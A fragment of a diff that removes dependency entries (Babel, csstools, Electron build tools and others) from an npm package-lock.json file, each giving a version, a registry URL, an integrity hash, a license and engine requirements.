- "@babel/parser": "^7.29.7", - "@babel/template": "^7.29.7", - "@babel/traverse": "^7.29.7", - "@babel/types": "^7.29.7", - "@jridgewell/remapping": "^2.3.5", - "convert-source-map": "^2.0.0", - "debug": "^4.1.0", - "gensync": "^1.0.0-beta.2", - "json5": "^2.2.3", - "semver": "^6.3.1" - }, - "engines": { - "node": ">=6.9.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/babel" - } - }, - "node_modules/@babel/core/node_modules/semver": { - "version": "6.3.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - } - }, - "node_modules/@babel/generator": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.7.tgz", - "integrity": "sha512-DkXD5OJQaAQIdZ1bt3UZdEnHAn9Imd3IVBdX03UFe+ony9Ojw5pzr9YVKGDY1jt+Gcn/FnGkNf8r+Vj5NOJWtQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.29.7", - "@babel/types": "^7.29.7", - "@jridgewell/gen-mapping": "^0.3.12", - "@jridgewell/trace-mapping": "^0.3.28", - "jsesc": "^3.0.2" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-annotate-as-pure": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.29.7.tgz", - "integrity": "sha512-OoK6239jHPuSQOoS0kfTVKn0b/rVTk0seKq4Gd2UMLtmOVLjDC0ki3e+c90Trqv2gMfvJFqkiljrr568+qddiw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/types": "^7.29.7" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-compilation-targets": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.29.7.tgz", - "integrity": "sha512-wem6WaBj4NaVYVdNhLPPVacES6ZJ+KBBfSkTMD3YZxbP3rm3Di85tJU5ljaUNhaOynt+Aj0xruhYuzQBt8n71g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/compat-data": "^7.29.7", - "@babel/helper-validator-option": "^7.29.7", - "browserslist": "^4.24.0", - "lru-cache": "^5.1.1", - "semver": "^6.3.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-compilation-targets/node_modules/semver": { - "version": "6.3.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - } - }, - "node_modules/@babel/helper-create-class-features-plugin": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.29.7.tgz", - "integrity": "sha512-IY3ZD9Tmooqr3TUhc3DUWxiuo8xx1DWLhd5M7hQ+ZWJamqM2BbalrBJb2MisSLoYorOj75U03qULCxQTY9r3hg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-annotate-as-pure": "^7.29.7", - "@babel/helper-member-expression-to-functions": "^7.29.7", - "@babel/helper-optimise-call-expression": "^7.29.7", - "@babel/helper-replace-supers": "^7.29.7", - "@babel/helper-skip-transparent-expression-wrappers": "^7.29.7", - "@babel/traverse": "^7.29.7", - "semver": "^6.3.1" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0" - } - }, - "node_modules/@babel/helper-create-class-features-plugin/node_modules/semver": { - "version": "6.3.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - } - }, - "node_modules/@babel/helper-globals": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.29.7.tgz", - "integrity": "sha512-3nQVUAtvkKH9zahfWgw96Jc/uFOmjACE1kQz82E2lqWmHBgjzbNlsC22nuQTfahmWeQtTq5nQ/4Nnd2A1wj4zA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-member-expression-to-functions": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.29.7.tgz", - "integrity": "sha512-j+7JYmk1JYDtACIGj0QJqqWZjoUpMoEikQGADMaHgCMCSDqd2+P32rfcibUNrGOMWrlzK1WJBdxrB3JJQZwWtg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/traverse": "^7.29.7", - "@babel/types": "^7.29.7" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-module-imports": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.29.7.tgz", - "integrity": "sha512-ejHwrQQYcm9xnTivShn2IDOlIzInN34AXskvq9QicvCtEzq1Vzclu/tKF8Jq1Cg8JG2GL6/EmjgsCT7lXepE3g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/traverse": "^7.29.7", - "@babel/types": "^7.29.7" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-module-transforms": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.29.7.tgz", - "integrity": "sha512-UPUVSyXbOh627KiCIGQSgwWzGeBKLkaJ9PJEdrngIwMSzxLR4jS4+f1f1jb7VzBbg8nFLaYotvVPFCTqdrmTAg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-module-imports": "^7.29.7", - "@babel/helper-validator-identifier": "^7.29.7", - "@babel/traverse": "^7.29.7" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0" - } - }, - "node_modules/@babel/helper-optimise-call-expression": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.29.7.tgz", - "integrity": "sha512-+kmGVjcT9RGYzoDwdwEqEvGgKe3BYq+O1iGzjFubaNgZHwYHP6lsF2Yghf4kEuv9BV7tYDZ913aBW9am6YKong==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/types": "^7.29.7" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-plugin-utils": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.29.7.tgz", - "integrity": "sha512-G7sHYigPY17oO5SYWnfD/0MTBwVR781S/JI643e/JhUYgVgWE/61SoW3NH9KWUKyKq5LVh3npif99Wkt6j86Jw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-replace-supers": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.29.7.tgz", - "integrity": "sha512-atfGXWSeCiF4DnKZIfmJfQRkSw9b9gNNXR1kqKjbhG4pGYCOnkp8OcTB8E3NXjBu8NpheSnOeNKz8KT7UNFTmQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-member-expression-to-functions": "^7.29.7", - "@babel/helper-optimise-call-expression": "^7.29.7", - "@babel/traverse": "^7.29.7" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0" - } - }, - "node_modules/@babel/helper-skip-transparent-expression-wrappers": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.29.7.tgz", - "integrity": "sha512-brcMGQaVzIeUb+6/bs1Av0f8YuNNjKY2JyvfRCsFuFsdKccEQ5Ges2y74D74NZ1Rz8lKJ9ksJkfqwQFJ/iNEyQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/traverse": "^7.29.7", - "@babel/types": "^7.29.7" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-string-parser": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.29.7.tgz", - "integrity": "sha512-Pb5ijPrZ89GDH8223L4UP8i6QApWxs04RbPQJTeWDV0/keR2E36MeKnyr6LYmUUvqRRI+Iv87SuF1W6ErINzYw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-validator-identifier": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.29.7.tgz", - "integrity": "sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-validator-option": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.29.7.tgz", - "integrity": "sha512-N9ZErrD+yW5geCDtBqnOoxmR8+tNKiGuxKlDpuJxfsqpa2dFcexaziGAE/qoHLiDDreVNMupxGmSoNlyvsA3gw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helpers": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.7.tgz", - "integrity": "sha512-1k2lAGRMfHTcwuNYcCNUmaUffmQv8KWMfh2iJUUeRlwlwH4FdNG7mfPI10NPfLHJFThE4Tyr4mv7kTNZOiPuBg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/template": "^7.29.7", - "@babel/types": "^7.29.7" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/parser": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.7.tgz", - "integrity": "sha512-hnORnjP/1P/zFEndoeX+n+t1RwWRJiJpM/jO7FW32Kn9r5+sJB2JWOdYo4L6k78j15eCwY3Gm/7364B1EMwtNg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/types": "^7.29.7" - }, - "bin": { - "parser": "bin/babel-parser.js" - }, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@babel/plugin-syntax-jsx": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.29.7.tgz", - "integrity": "sha512-TSu8+mHCoEaaCDEZ0I3+6mvTBYR4PCxQwf2z9/r5Tbztv6NaLR3B9thGTTxX2WGuGHJqRiAbKPeGTJ5XWXVg6A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-plugin-utils": "^7.29.7" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-syntax-typescript": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.29.7.tgz", - "integrity": "sha512-ngr+82Sh0xMz25TPCZi+nC2iTzjfCdWS2ONXTp/PtSCHCgaCNBpdMqgvJ2ccdLlClVZ7sisIgB914j/JFe+RZA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-plugin-utils": "^7.29.7" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-modules-commonjs": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.29.7.tgz", - "integrity": "sha512-j0vCldybPC5b5dwCQOJ21uKtHzt7hxLygJTg9eF1ScfaikEDNfzn94XoW5Fi+seBR0nCyL23xaBFFkq7dTM8XQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-module-transforms": "^7.29.7", - "@babel/helper-plugin-utils": "^7.29.7" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-typescript": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.29.7.tgz", - "integrity": "sha512-jK52h8LaLc7JarhQV2ofeFMts4H7vnOXnqZNA6fYglBTZewRBE51KWt3BUltW1P+KoPsYkHoJeXePuz4zo2LMw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-annotate-as-pure": "^7.29.7", - "@babel/helper-create-class-features-plugin": "^7.29.7", - "@babel/helper-plugin-utils": "^7.29.7", - "@babel/helper-skip-transparent-expression-wrappers": "^7.29.7", - "@babel/plugin-syntax-typescript": "^7.29.7" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/preset-typescript": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.29.7.tgz", - "integrity": "sha512-/Foi8vKY2EVbed/1eZx0gJEEwHAIxogrySI7rULcRIvhZzbvoE/b5qG5Ghc0WKAFKOHA9SD1x7RsFlOYdutIiQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-plugin-utils": "^7.29.7", - "@babel/helper-validator-option": "^7.29.7", - "@babel/plugin-syntax-jsx": "^7.29.7", - "@babel/plugin-transform-modules-commonjs": "^7.29.7", - "@babel/plugin-transform-typescript": "^7.29.7" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/runtime": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.7.tgz", - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/template": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.29.7.tgz", - "integrity": "sha512-puq+Gf35oI24FeN11LkoUQFqv9uwNeWpxXZi/Ji3rRIoKAzKnxRaZ+Gkj0vKS9ZCiTESfng1N9LyOyXvo+m+Gg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/code-frame": "^7.29.7", - "@babel/parser": "^7.29.7", - "@babel/types": "^7.29.7" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/traverse": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.7.tgz", - "integrity": "sha512-EhlfNQtZ+NK22w5BM61ciuiq1m58ed33Wr1Xan//ZRTy6hgjnwyCffRYwzsGXdASJSUJ1guZILsErh1eQcl+zw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/code-frame": "^7.29.7", - "@babel/generator": "^7.29.7", - "@babel/helper-globals": "^7.29.7", - "@babel/parser": "^7.29.7", - "@babel/template": "^7.29.7", - "@babel/types": "^7.29.7", - "debug": "^4.3.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/types": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.7.tgz", - "integrity": "sha512-4zBIxpPzowiZpusoFkyGVwakdRJUyuH5PxQ/PrqghfdFWWasvnCdPfQXHrenDai+gyLARulZjZowCOj6fjT4pA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-string-parser": "^7.29.7", - "@babel/helper-validator-identifier": "^7.29.7" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@bcoe/v8-coverage": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-1.0.2.tgz", - "integrity": "sha512-6zABk/ECA/QYSCQ1NGiVwwbQerUCZ+TQbp64Q3AgmfNvurHH0j8TtXa1qbShXA6qqkpAj4V5W8pP6mLe1mcMqA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/@bramus/specificity": { - "version": "2.4.2", - "resolved": "https://registry.npmjs.org/@bramus/specificity/-/specificity-2.4.2.tgz", - "integrity": "sha512-ctxtJ/eA+t+6q2++vj5j7FYX3nRu311q1wfYH3xjlLOsczhlhxAg2FWNUXhpGvAw3BWo1xBcvOV6/YLc2r5FJw==", - "dev": true, - "license": "MIT", - "dependencies": { - "css-tree": "^3.0.0" - }, - "bin": { - "specificity": "bin/cli.js" - } - }, - "node_modules/@colors/colors": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/@colors/colors/-/colors-1.6.0.tgz", - "integrity": "sha512-Ir+AOibqzrIsL6ajt3Rz3LskB7OiMVHqltZmspbW/TJuTVuyOMirVqAkjfY6JISiLHgyNqicAC8AyHHGzNd/dA==", - "license": "MIT", - "engines": { - "node": ">=0.1.90" - } - }, - "node_modules/@csstools/color-helpers": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-6.0.2.tgz", - "integrity": "sha512-LMGQLS9EuADloEFkcTBR3BwV/CGHV7zyDxVRtVDTwdI2Ca4it0CCVTT9wCkxSgokjE5Ho41hEPgb8OEUwoXr6Q==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/csstools" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/csstools" - } - ], - "license": "MIT-0", - "engines": { - "node": ">=20.19.0" - } - }, - "node_modules/@csstools/css-calc": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-3.2.1.tgz", - "integrity": "sha512-DtdHlgXh5ZkA43cwBcAm+huzgJiwx3ZTWVjBs94kwz2xKqSimDA3lBgCjphYgwgVUMWatSM0pDd8TILB1yrVVg==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/csstools" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/csstools" - } - ], - "license": "MIT", - "engines": { - "node": ">=20.19.0" - }, - "peerDependencies": { - "@csstools/css-parser-algorithms": "^4.0.0", - "@csstools/css-tokenizer": "^4.0.0" - } - }, - "node_modules/@csstools/css-color-parser": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-4.1.1.tgz", - "integrity": "sha512-eZ5XOtyhK+mggRafYUWzA0tvaYOFgdY8AkgQiCJF9qNAePnUo/zmsqqYubBBb3sQ8uNUaSKTY9s9klfRaAXL0g==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/csstools" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/csstools" - } - ], - "license": "MIT", - "dependencies": { - "@csstools/color-helpers": "^6.0.2", - "@csstools/css-calc": "^3.2.1" - }, - "engines": { - "node": ">=20.19.0" - }, - "peerDependencies": { - "@csstools/css-parser-algorithms": "^4.0.0", - "@csstools/css-tokenizer": "^4.0.0" - } - }, - "node_modules/@csstools/css-parser-algorithms": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-4.0.0.tgz", - "integrity": "sha512-+B87qS7fIG3L5h3qwJ/IFbjoVoOe/bpOdh9hAjXbvx0o8ImEmUsGXN0inFOnk2ChCFgqkkGFQ+TpM5rbhkKe4w==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/csstools" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/csstools" - } - ], - "license": "MIT", - "engines": { - "node": ">=20.19.0" - }, - "peerDependencies": { - "@csstools/css-tokenizer": "^4.0.0" - } - }, - "node_modules/@csstools/css-syntax-patches-for-csstree": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/@csstools/css-syntax-patches-for-csstree/-/css-syntax-patches-for-csstree-1.1.5.tgz", - "integrity": "sha512-oNjBvzLq2GPZtJphCjLqXow/cHySHSgtxvKZb7OqSZ/xHgw6NWNhfad+6AB9cLeVm6eA9d/qMll3JdEHjy6M+A==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/csstools" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/csstools" - } - ], - "license": "MIT-0", - "peerDependencies": { - "css-tree": "^3.2.1" - }, - "peerDependenciesMeta": { - "css-tree": { - "optional": true - } - } - }, - "node_modules/@csstools/css-tokenizer": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-4.0.0.tgz", - "integrity": "sha512-QxULHAm7cNu72w97JUNCBFODFaXpbDg+dP8b/oWFAZ2MTRppA3U00Y2L1HqaS4J6yBqxwa/Y3nMBaxVKbB/NsA==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/csstools" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/csstools" - } - ], - "license": "MIT", - "engines": { - "node": ">=20.19.0" - } - }, - "node_modules/@dabh/diagnostics": { - "version": "2.0.8", - "resolved": "https://registry.npmjs.org/@dabh/diagnostics/-/diagnostics-2.0.8.tgz", - "integrity": "sha512-R4MSXTVnuMzGD7bzHdW2ZhhdPC/igELENcq5IjEverBvq5hn1SXCWcsi6eSsdWP0/Ur+SItRRjAktmdoX/8R/Q==", - "license": "MIT", - "dependencies": { - "@so-ric/colorspace": "^1.1.6", - "enabled": "2.0.x", - "kuler": "^2.0.0" - } - }, - "node_modules/@develar/schema-utils": { - "version": "2.6.5", - "resolved": "https://registry.npmjs.org/@develar/schema-utils/-/schema-utils-2.6.5.tgz", - "integrity": "sha512-0cp4PsWQ/9avqTVMCtZ+GirikIA36ikvjtHweU4/j8yLtgObI0+JUPhYFScgwlteveGB1rt3Cm8UhN04XayDig==", - "dev": true, - "license": "MIT", - "dependencies": { - "ajv": "^6.12.0", - "ajv-keywords": "^3.4.1" - }, - "engines": { - "node": ">= 8.9.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/webpack" - } - }, - "node_modules/@electron/asar": { - "version": "3.4.1", - "resolved": "https://registry.npmjs.org/@electron/asar/-/asar-3.4.1.tgz", - "integrity": "sha512-i4/rNPRS84t0vSRa2HorerGRXWyF4vThfHesw0dmcWHp+cspK743UanA0suA5Q5y8kzY2y6YKrvbIUn69BCAiA==", - "dev": true, - "license": "MIT", - "dependencies": { - "commander": "^5.0.0", - "glob": "^7.1.6", - "minimatch": "^3.0.4" - }, - "bin": { - "asar": "bin/asar.js" - }, - "engines": { - "node": ">=10.12.0" - } - }, - "node_modules/@electron/asar/node_modules/commander": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz", - "integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 6" - } - }, - "node_modules/@electron/fuses": { - "version": "1.8.0", - "resolved": "https://registry.npmjs.org/@electron/fuses/-/fuses-1.8.0.tgz", - "integrity": "sha512-zx0EIq78WlY/lBb1uXlziZmDZI4ubcCXIMJ4uGjXzZW0nS19TjSPeXPAjzzTmKQlJUZm0SbmZhPKP7tuQ1SsEw==", - "dev": true, - "license": "MIT", - "dependencies": { - "chalk": "^4.1.1", - "fs-extra": "^9.0.1", - "minimist": "^1.2.5" - }, - "bin": { - "electron-fuses": "dist/bin.js" - } - }, - "node_modules/@electron/fuses/node_modules/fs-extra": { - "version": "9.1.0", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", - "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "at-least-node": "^1.0.0", - "graceful-fs": "^4.2.0", - "jsonfile": "^6.0.1", - "universalify": "^2.0.0" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/@electron/get": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/@electron/get/-/get-5.0.0.tgz", - "integrity": "sha512-pjoBpru1KdEtcExBnuHAP1cAc/5faoedw0hzJkL3o4/IJp7HNF1+fbrdxT3gMYRX2oJfvnA/WXeCTVQpYYxyJA==", - "dev": true, - "license": "MIT", - "dependencies": { - "debug": "^4.1.1", - "env-paths": "^3.0.0", - "graceful-fs": "^4.2.11", - "progress": "^2.0.3", - "semver": "^7.6.3", - "sumchecker": "^3.0.1" - }, - "engines": { - "node": ">=22.12.0" - }, - "optionalDependencies": { - "undici": "^7.24.4" - } - }, - "node_modules/@electron/notarize": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@electron/notarize/-/notarize-2.5.0.tgz", - "integrity": "sha512-jNT8nwH1f9X5GEITXaQ8IF/KdskvIkOFfB2CvwumsveVidzpSc+mvhhTMdAGSYF3O+Nq49lJ7y+ssODRXu06+A==", - "dev": true, - "license": "MIT", - "dependencies": { - "debug": "^4.1.1", - "fs-extra": "^9.0.1", - "promise-retry": "^2.0.1" - }, - "engines": { - "node": ">= 10.0.0" - } - }, - "node_modules/@electron/notarize/node_modules/fs-extra": { - "version": "9.1.0", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", - "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "at-least-node": "^1.0.0", - "graceful-fs": "^4.2.0", - "jsonfile": "^6.0.1", - "universalify": "^2.0.0" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/@electron/osx-sign": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/@electron/osx-sign/-/osx-sign-1.3.3.tgz", - "integrity": "sha512-KZ8mhXvWv2rIEgMbWZ4y33bDHyUKMXnx4M0sTyPNK/vcB81ImdeY9Ggdqy0SWbMDgmbqyQ+phgejh6V3R2QuSg==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "compare-version": "^0.1.2", - "debug": "^4.3.4", - "fs-extra": "^10.0.0", - "isbinaryfile": "^4.0.8", - "minimist": "^1.2.6", - "plist": "^3.0.5" - }, - "bin": { - "electron-osx-flat": "bin/electron-osx-flat.js", - "electron-osx-sign": "bin/electron-osx-sign.js" - }, - "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/@electron/osx-sign/node_modules/isbinaryfile": { - "version": "4.0.10", - "resolved": "https://registry.npmjs.org/isbinaryfile/-/isbinaryfile-4.0.10.tgz", - "integrity": "sha512-iHrqe5shvBUcFbmZq9zOQHBoeOhZJu6RQGrDpBgenUm/Am+F3JM2MgQj+rK3Z601fzrL5gLZWtAPH2OBaSVcyw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 8.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/gjtorikian/" - } - }, - "node_modules/@electron/rebuild": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/@electron/rebuild/-/rebuild-4.2.0.tgz", - "integrity": "sha512-RKL/O+jGoXJMxrx/5771y1n0xTKmFuOYGO3gMmwypBM6rsH0kou0mswwdXA2JrhIkE4xyC7v9vGk0n6NPzgOxQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@malept/cross-spawn-promise": "^2.0.0", - "debug": "^4.1.1", - "node-abi": "^4.2.0", - "node-api-version": "^0.2.1", - "node-gyp": "^12.2.0", - "read-binary-file-arch": "^1.0.6" - }, - "bin": { - "electron-rebuild": "lib/cli.js" - }, - "engines": { - "node": ">=22.12.0" - } - }, - "node_modules/@electron/universal": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/@electron/universal/-/universal-2.0.3.tgz", - "integrity": "sha512-Wn9sPYIVFRFl5HmwMJkARCCf7rqK/EurkfQ/rJZ14mHP3iYTjZSIOSVonEAnhWeAXwtw7zOekGRlc6yTtZ0t+g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@electron/asar": "^3.3.1", - "@malept/cross-spawn-promise": "^2.0.0", - "debug": "^4.3.1", - "dir-compare": "^4.2.0", - "fs-extra": "^11.1.1", - "minimatch": "^9.0.3", - "plist": "^3.1.0" - }, - "engines": { - "node": ">=16.4" - } - }, - "node_modules/@electron/universal/node_modules/brace-expansion": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.2.tgz", - "integrity": "sha512-w5JZcKgdhDOgOwm8H+KgbosopHMuGcl6qbulwjtz3SM7I7P3yW1eAjzMPLrIE+NQ9vjgANKHWeMHnrT0OXW1oA==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0" - } - }, - "node_modules/@electron/universal/node_modules/fs-extra": { - "version": "11.3.6", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.3.6.tgz", - "integrity": 